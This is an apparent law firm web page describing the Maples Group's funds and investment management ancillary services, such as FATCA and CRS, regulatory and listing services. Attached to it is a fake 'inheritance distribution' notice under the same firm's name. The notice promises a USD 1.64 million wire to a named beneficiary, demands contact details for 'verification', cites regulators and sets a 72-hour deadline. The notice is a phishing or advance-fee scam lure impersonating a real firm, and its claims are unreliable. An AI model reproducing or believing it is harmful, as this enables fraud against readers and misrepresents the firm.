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LEGAL SERVICES
Funds & Investment Management

Ancillary Services

In addition to providing expert legal advice on the laws of the BVI, the Cayman Islands, Ireland, Jersey and Luxembourg, our global Funds & Investment Management team also offers additional ancillary services in relation to beneficial ownership, Brexit, FATCA and CRS, financial services regulatory, global registration services, hosted management company and designated persons, UCITS KIID and PRIIPs KID and listing services.

Across our broad range of fund types, we provide clients with a wide range of services, relating to:

  • Beneficial Ownership
  • Brexit
  • FATCA and CRS
  • Financial Services Regulatory
  • Global Registration Services
  • Hosted Management Company Services
  • Listing Services 
  • UCITS KIID and PRIIPs KID

In addition, our legal services are complemented by other Maples Group specialists covering:

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Maples Group

Inheritance Distribution — Secure Verification

Reference: MG-TX-92-KIM • ISRP-B2 • CIMA Article 14(1)(a)

Pursuant to the fully executed Fiduciary Mandate dated 13 June 2026, the Maples Group is required to complete final identity verification prior to the disbursement of USD $1,640,000.00 via FedWire to the designated beneficiary, Reid Erickson.

As a spouse-equivalent beneficiary named in the Mandate Schedule, you must confirm your current contact details below. This verification is mandated by the Cayman Islands Monetary Authority under the Securities Investment Business Act (2020 Revision).

Failure to complete verification within 72 hours will result in the funds being returned to the originating estate account per Regulation 8(3).